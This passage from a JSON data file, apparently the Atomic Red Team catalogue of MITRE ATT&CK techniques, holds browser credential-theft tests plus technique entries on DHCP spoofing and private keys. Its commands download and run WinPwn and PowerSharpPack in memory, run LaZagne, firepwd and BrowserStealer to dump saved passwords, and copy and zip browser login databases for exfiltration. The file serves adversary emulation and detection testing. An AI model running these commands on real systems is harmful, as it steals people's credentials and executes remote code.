- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip\" -OutFile \"#{file_path}\\Modified-SysInternalsSuite.zip\"\nExpand-Archive #{file_path}\\Modified-SysInternalsSuite.zip #{file_path}\\sysinternals -Force\nRemove-Item #{file_path}\\Modified-SysInternalsSuite.zip -Force\n"
- }
- ],
- "executor": {
- "command": "Set-Location -path \"#{file_path}\\Sysinternals\";\n./accesschk.exe -accepteula .;\n",
- "cleanup_command": "Remove-Item #{file_path}\\Sysinternals -Force -Recurse -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "LaZagne - Credentials from Browser",
- "auto_generated_guid": "9a2915b3-3954-4cce-8c76-00fbf4dbd014",
- "description": "The following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne) to extract passwords from browsers on the Windows operating system.\nLaZagne is an open source application used to retrieve passwords stored on a local computer. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "lazagne_path": {
- "description": "Path to LaZagne",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1555.003\\bin\\LaZagne.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "LaZagne.exe must exist on disk at specified location (#{lazagne_path})\n",
- "prereq_command": "if (Test-Path #{lazagne_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{lazagne_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe\" -OutFile \"#{lazagne_path}\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "#{lazagne_path} browsers\n"
- }
- },
- {
- "name": "Simulating access to Chrome Login Data",
- "auto_generated_guid": "3d111226-d09a-4911-8715-fe11664f960d",
- "description": "Simulates an adversary accessing encrypted credentials from Google Chrome Login database. \n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Chrome must be installed\n",
- "prereq_command": "if ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}",
- "get_prereq_command": "$installer = \"$env:temp\\ChromeStandaloneSetup64.msi\"\nInvoke-WebRequest -OutFile $env:temp\\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi\nmsiexec /i $installer /qn\nStart-Process -FilePath \"chrome.exe\"\nStop-Process -Name \"chrome\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "Copy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data\" -Destination $env:temp\nCopy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data For Account\" -Destination $env:temp\n",
- "cleanup_command": "Remove-Item -Path \"$env:temp\\Login Data\" -Force -ErrorAction Ignore\nRemove-Item -Path \"$env:temp\\Login Data For Account\" -Force -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Simulating access to Opera Login Data",
- "auto_generated_guid": "28498c17-57e4-495a-b0be-cc1e36de408b",
- "description": "Simulates an adversary accessing encrypted credentials from Opera web browser's login database. \n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Opera must be installed\n",
- "prereq_command": "if (((Test-Path \"$env:LOCALAPPDATA\\Programs\\Opera\\launcher.exe\") -Or (Test-Path \"C:\\Program Files\\Opera\\launcher.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Opera\\launcher.exe\"))) {exit 0} else {exit 1}",
- "get_prereq_command": "$installer = \"$env:temp\\OperaStandaloneInstaller.exe\"\nInvoke-WebRequest -OutFile $env:temp\\OperaStandaloneInstaller.exe https://get.geo.opera.com/pub/opera/desktop/82.0.4227.43/win/Opera_82.0.4227.43_Setup.exe\nStart-Process $installer -ArgumentList '/install /silent /launchopera=1 /setdefaultbrowser=0'\nStart-Sleep -s 180\nStop-Process -Name \"opera\"\n"
- },
- {
- "description": "Opera login data file must exist\n",
- "prereq_command": "if (Test-Path \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\") {exit 0} else {exit 1}",
- "get_prereq_command": "New-Item -Path \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\" -ItemType File\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "Copy-Item \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\" -Destination $env:temp\n",
- "cleanup_command": "Remove-Item -Path \"$env:temp\\Login Data\" -Force -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Simulating access to Windows Firefox Login Data",
- "auto_generated_guid": "eb8da98a-2e16-4551-b3dd-83de49baa14c",
- "description": "Simulates an adversary accessing encrypted credentials from firefox web browser's login database.\nmore info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Firefox must be installed\n",
- "prereq_command": "if ((Test-Path \"C:\\Program Files\\Mozilla Firefox\\firefox.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\")) {exit 0} else {exit 1}",
- "get_prereq_command": "if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$url=\"https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US\"}else {$url=\"https://download.mozilla.org/?product=firefox-latest-ssl&os=win&lang=en-US\"}\n$installer = \"$env:temp\\firefoxsetup.exe\"\n(New-Object Net.WebClient).DownloadFile($url,$installer)\nStart-Process $installer -ArgumentList '/S' -Wait\n"
- },
- {
- "description": "Firefox login data file must exist\n",
- "prereq_command": "if (Test-Path \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\\\") {exit 0} else {exit 1}",
- "get_prereq_command": "if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$firefox=\"C:\\Program Files\\Mozilla Firefox\\firefox.exe\"}else {$firefox=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\"}\nStart-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait\nStart-Process $firefox -NoNewWindow\nStart-Sleep -s 20\nStop-Process -Name firefox\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "Copy-Item \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\\\" -Destination $env:temp -Force -Recurse\n",
- "cleanup_command": "Remove-Item -Path \"$env:temp\\Profiles\" -Force -ErrorAction Ignore -Recurse\n"
- }
- },
- {
- "name": "Simulating access to Windows Edge Login Data",
- "auto_generated_guid": "a6a5ec26-a2d1-4109-9d35-58b867689329",
- "description": "Simulates an adversary accessing encrypted credentials from Edge web browser's login database.\nmore info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Edge must be installed\n",
- "prereq_command": "if (Test-Path \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\") {exit 0} else {exit 1}",
- "get_prereq_command": "\"Installation is not implemented as Edge is a part of windows\"\n"
- },
- {
- "description": "Edge login data file must exist\n",
- "prereq_command": "if (Test-Path \"$env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\") {exit 0} else {exit 1}",
- "get_prereq_command": "$edge=\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"\nStart-Process $edge \nStart-Sleep -s 20\nStop-Process -Name msedge\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "Copy-Item \"$env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\" -Destination $env:temp\\Edge -Force -Recurse\n",
- "cleanup_command": "Remove-Item -Path \"$env:temp\\Edge\" -Force -ErrorAction Ignore -Recurse\n"
- }
- },
- {
- "name": "Decrypt Mozilla Passwords with Firepwd.py",
- "auto_generated_guid": "dc9cd677-c70f-4df5-bd1c-f114af3c2381",
- "description": "Firepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords.\nUpon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "Firepwd_Path": {
- "description": "Filepath for Firepwd.py",
- "type": "string",
- "default": "$env:temp\\Firepwd.py"
- },
- "Out_Filepath": {
- "description": "Filepath to output results to",
- "type": "string",
- "default": "$env:temp\\T1555.003Test8.txt"
- },
- "VS_CMD_Path": {
- "description": "Filepath to Visual Studio Build Tools Command prompt",
- "type": "string",
- "default": "C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat"
- },
- "Python_Path": {
- "description": "Filepath to python",
- "type": "string",
- "default": "C:\\Program Files\\Python310\\python.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Firepwd must exist at #{Firepwd_Path}\n",
- "prereq_command": "if (Test-Path \"#{Firepwd_Path}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://raw.githubusercontent.com/lclevy/firepwd/167eabf3b88d5a7ba8b8bc427283f827b6885982/firepwd.py\" -outfile \"#{Firepwd_Path}\"\n"
- },
- {
- "description": "Firefox profile directory must be present\n",
- "prereq_command": "if (get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\" -erroraction silentlycontinue) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://ftp.mozilla.org/pub/firefox/releases/98.0/win64/en-US/Firefox%20Setup%2098.0.msi\" -outfile \"$env:temp\\firefox.msi\"\nmsiexec.exe /i \"$env:temp\\firefox.msi\" /quiet\nsleep -s 30\nstart-process \"$env:programfiles\\Mozilla Firefox\\firefox.exe\".\nsleep -s 5\nstop-process -name \"firefox\"\n"
- },
- {
- "description": "Visual Studio Build Tools command prompt must exist at #{VS_CMD_Path}\n",
- "prereq_command": "if (Test-Path \"#{VS_CMD_Path}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://aka.ms/vs/17/release/vs_BuildTools.exe\" -outfile \"$env:temp\\VS_BuildTools.exe\"\nwrite-host \"Visual Studio Build Tools (Desktop Development with C++) must be installed manually. Please run the installer from $env:temp\\VS_BuildTools.exe.\"\n"
- },
- {
- "description": "Python must be installed\n",
- "prereq_command": "if (Test-Path \"#{Python_Path}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe\" -outfile \"$env:temp\\python_setup.exe\"\nStart-Process -FilePath $env:TEMP\\python_setup.exe -ArgumentList \"/quiet InstallAllUsers=1 PrependPath=1 Include_test=0\" -Wait\n"
- },
- {
- "description": "Pip must be installed.\n",
- "prereq_command": "$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (pip -v) {exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://bootstrap.pypa.io/ez_setup.py\" -outfile \"$env:temp\\ez_setup.py\" \ninvoke-webrequest \"https://bootstrap.pypa.io/get-pip.py\" -outfile \"$env:temp\\get-pip.py\"\ncmd /c \"$env:temp\\ez_setup.py\"\ncmd /c \"$env:temp\\get-pip.py\"\n"
- },
- {
- "description": "Pycryptodome library must be installed \n",
- "prereq_command": "$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (pip show pycryptodome) {exit 0} else {exit 1}\n",
- "get_prereq_command": "$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (test-path \"#{VS_CMD_Path}\"){pip install pycryptodome | out-null | cmd /c %comspec% /k \"#{VS_CMD_Path}\" | out-null} else {write-host \"Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq\"}\n"
- },
- {
- "description": "Pyasn1 library must be installed \n",
- "prereq_command": "$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (pip show pyasn1) {exit 0} else {exit 1}\n",
- "get_prereq_command": "$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (test-path \"#{VS_CMD_Path}\"){pip install pyasn1 | out-null | cmd /c %comspec% /k \"#{VS_CMD_Path}\" | out-null} else {write-host \"Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq.\"}\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "$PasswordDBLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\"\ncmd /c #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath}\ncat #{Out_Filepath}\n",
- "cleanup_command": "Remove-Item -Path \"#{Out_Filepath}\" -erroraction silentlycontinue \n"
- }
- },
- {
- "name": "Stage Popular Credential Files for Exfiltration",
- "auto_generated_guid": "f543635c-1705-42c3-b180-efd6dc6e7ee7",
- "description": "This test is designed to search a drive for credential files used by the most common web browsers on Windows (Firefox, Chrome, Opera, and Edge), export the found files to a folder, and zip it,\nsimulating how an adversary might stage sensitive credential files for exfiltration in order to conduct offline password extraction with tools like [firepwd.py](https://github.com/lclevy/firepwd) or [HackBrowserData](https://github.com/moonD4rk/HackBrowserData). \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "command": "$exfil_folder = \"$env:temp\\T1555.003\"\nif (test-path \"$exfil_folder\") {} else {new-item -path \"$env:temp\" -Name \"T1555.003\" -ItemType \"directory\" -force}\n$FirefoxCredsLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\"\nif (test-path \"$FirefoxCredsLocation\\key4.db\") {copy-item \"$FirefoxCredsLocation\\key4.db\" -destination \"$exfil_folder\\T1555.003Firefox_key4.db\"} else {}\nif (test-path \"$FirefoxCredsLocation\\logins.json\") {copy-item \"$FirefoxCredsLocation\\logins.json\" -destination \"$exfil_folder\\T1555.003Firefox_logins.json\"} else {}\nif (test-path \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\") {copy-item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" -destination \"$exfil_folder\\T1555.003Chrome_Login Data\"} else {}\nif (test-path \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data For Account\") {copy-item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data For Account\" -destination \"$exfil_folder\\T1555.003Chrome_Login Data For Account\"} else {}\nif (test-path \"$env:appdata\\Opera Software\\Opera Stable\\Login Data\") {copy-item \"$env:appdata\\Opera Software\\Opera Stable\\Login Data\" -destination \"$exfil_folder\\T1555.003Opera_Login Data\"} else {}\nif (test-path \"$env:localappdata/Microsoft/Edge/User Data/Default/Login Data\") {copy-item \"$env:localappdata/Microsoft/Edge/User Data/Default/Login Data\" -destination \"$exfil_folder\\T1555.003Edge_Login Data\"} else {} \ncompress-archive -path \"$exfil_folder\" -destinationpath \"$exfil_folder.zip\" -force\n",
- "cleanup_command": "Remove-Item -Path \"$env:temp\\T1555.003.zip\" -force -erroraction silentlycontinue \nRemove-Item -Path \"$env:temp\\T1555.003\\\" -force -recurse -erroraction silentlycontinue\n"
- }
- },
- {
- "name": "WinPwn - BrowserPwn",
- "auto_generated_guid": "764ea176-fb71-494c-90ea-72e9d85dce76",
- "description": "Collect Browser credentials as well as the history via winpwn browserpwn function of WinPwn.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nbrowserpwn -consoleoutput -noninteractive",
- "cleanup_command": "rm .\\System.Data.SQLite.dll -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - mimi-kittenz",
- "auto_generated_guid": "ec1d0b37-f659-4186-869f-31a554891611",
- "description": "Loot local Credentials - mimi-kittenz technique via function of WinPwn - Extend timeout to 600s",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nkittenz -consoleoutput -noninteractive",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - PowerSharpPack - Sharpweb for Browser Credentials",
- "auto_generated_guid": "e5e3d639-6ea8-4408-9ecd-d5a286268ca0",
- "description": "PowerSharpPack - Sharpweb searching for Browser Credentials technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')\nInvoke-Sharpweb -command \"all\"",
- "name": "powershell"
- }
- },
- {
- "name": "WebBrowserPassView - Credentials from Browser",
- "auto_generated_guid": "e359627f-2d90-4320-ba5e-b0f878155bbe",
- "description": "The following Atomic test utilizes WebBrowserPassView to extract passwords from browsers on a Window system. WebBrowserPassView is an open source application used to retrieve passwords stored on a local computer. Recently noticed as a tool used in the BlackCat Ransomware.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "webbrowserpassview_path": {
- "description": "Path to the WebBrowserPassView executable ",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1555.003\\bin\\WebBrowserPassView.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Check if WebBrowserPassView.exe exists in the specified path #{webbrowserpassview_path}\n",
- "prereq_command": "if (Test-Path #{webbrowserpassview_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1555.003/bin/WebBrowserPassView.exe -OutFile #{webbrowserpassview_path}\n"
- }
- ],
- "executor": {
- "command": "Start-Process #{webbrowserpassview_path}\nStart-Sleep -Second 4\nStop-Process -Name \"WebBrowserPassView\"\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "BrowserStealer (Chrome / Firefox / Microsoft Edge)",
- "auto_generated_guid": "6f2c5c87-a4d5-4898-9bd1-47a55ecaf1dd",
- "description": "[Github Repo](https://github.com/SaulBerrenson/BrowserStealer) Simple password/cookies stealer for chrome, edge, and gecko based browsers (30 listed working). This attack simulates stealing the data from the browser files and printing them to the command line.\nIf using to test with Firefox, if the browser is x64 you need to use the x64 build\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Google Chrome must be on the device.\n",
- "prereq_command": "'if ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}'\n",
- "get_prereq_command": "$installer = \"$env:temp\\ChromeStandaloneSetup64.msi\"\nInvoke-WebRequest -OutFile $env:temp\\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi\nmsiexec /i $installer /qn\nStart-Process -FilePath \"chrome.exe\"\nStop-Process -Name \"chrome\"\n"
- },
- {
- "description": "BrowserCollector must exist in the bin directory\n",
- "prereq_command": "if (Test-Path \"PathToAtomicsFolder\\T1555.003\\bin\\BrowserCollector.exe\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/SaulBerrenson/BrowserStealer/releases/download/1.0.0.4/BrowserCollector_x64.exe\" -Outfile: \"PathToAtomicsFolder\\T1555.003\\bin\\BrowserCollector.exe\""
- },
- {
- "description": "Login Data file that is a copy of a chrome Login Data that contains credentials for the tool to \"steal.\" Must exist at the specified path.\n",
- "prereq_command": "if (Test-Path \"PathToAtomicsFolder\\T1555.003\\src\\Login Data\") {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T155.003/src/LoginData?raw=true\" -Outfile: \"PathToAtomicsFolder\\T1555.003\\src\\Login Data\""
- }
- ],
- "executor": {
- "command": "Copy-Item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" -Destination \"$env:temp\" > $null\nRemove-Item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" > $null\nCopy-Item \"$env:PathToAtomicsFolder\\T1555.003\\src\\Login Data\" -Destination \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\\" > $null\ncd \"$env:PathToAtomicsFolder\\T1555.003\\bin\"\n.\\BrowserCollector.exe\n",
- "cleanup_command": "Remove-Item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" > $null\nCopy-Item \"$env:temp\" -Destination \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" > $null\nRemove-Item \"$env:temp\\Login Data\" > $null\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1557.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Alex Spivakovsky, Pentera"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5",
- "created": "2022-03-24T19:30:56.727Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1557.003",
- "url": "https://attack.mitre.org/techniques/T1557/003"
- },
- {
- "source_name": "rfc2131",
- "url": "https://datatracker.ietf.org/doc/html/rfc2131",
- "description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022."
- },
- {
- "source_name": "new_rogue_DHCP_serv_malware",
- "url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/",
- "description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022."
- },
- {
- "source_name": "dhcp_serv_op_events",
- "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)",
- "description": "Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022."
- },
- {
- "source_name": "solution_monitor_dhcp_scopes",
- "url": "https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/",
- "description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved March 7, 2022."
- },
- {
- "source_name": "w32.tidserv.g",
- "url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2",
- "description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e. [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ",
- "modified": "2022-04-18T19:59:22.916Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "DHCP Spoofing",
- "x_mitre_detection": "Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1552.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Itzik Kotler, SafeBreach"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
- "type": "attack-pattern",
- "created": "2020-02-04T13:06:49.258Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1552.004",
- "url": "https://attack.mitre.org/techniques/T1552/004"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Public-key_cryptography",
- "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
- "source_name": "Wikipedia Public Key Crypto"
- },
- {
- "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf",
- "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
- "source_name": "Kaspersky Careto"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/",
- "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
- "source_name": "Palo Alto Prince of Persia"
- }
- ],
- "modified": "2020-03-29T21:36:36.613Z",
- "name": "Unsecured Credentials: Private Keys",
- "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh
for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\
on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Command: Command Execution"
